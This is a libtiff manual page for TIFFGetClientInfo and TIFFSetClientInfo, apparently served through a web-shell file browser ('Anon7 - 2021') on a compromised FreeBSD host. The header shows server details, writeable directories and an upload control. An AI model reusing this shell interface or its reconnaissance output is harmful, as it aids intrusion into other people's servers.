KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /usr/local/share/doc/tiff-4.6.0/manual/_sources/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/share/doc/tiff-4.6.0/manual/_sources/functions/TIFFClientInfo.rst.txt
TIFFClientInfo
==============

Synopsis
--------

.. highlight:: c

::

    #include <tiffio.h>

.. c:function:: void *TIFFGetClientInfo(TIFF* tif, const char *name)

.. c:function:: void TIFFSetClientInfo(TIFF* tif, void *data, const char *name)

Description
-----------

.. TODO: Check explanation of clientinfo linked list intention and usage.

The *clientinfo* linked list provides a method to hand over user defined
data from one routine to another via the internal ``tif`` storage of the
``libtiff`` library.

:c:func:`TIFFGetClientInfo` returns a pointer to the data of the named entry
in the clientinfo-list. If the *name* is not found ``NULL`` is returned.

:c:func:`TIFFSetClientInfo` adds or replaces an entry in the clientinfo-list
with the *name* and the pointer to the *data* provided by the caller.

Diagnostics
-----------

None.

See also
--------

:doc:`libtiff` (3tiff),

Anon7 - 2021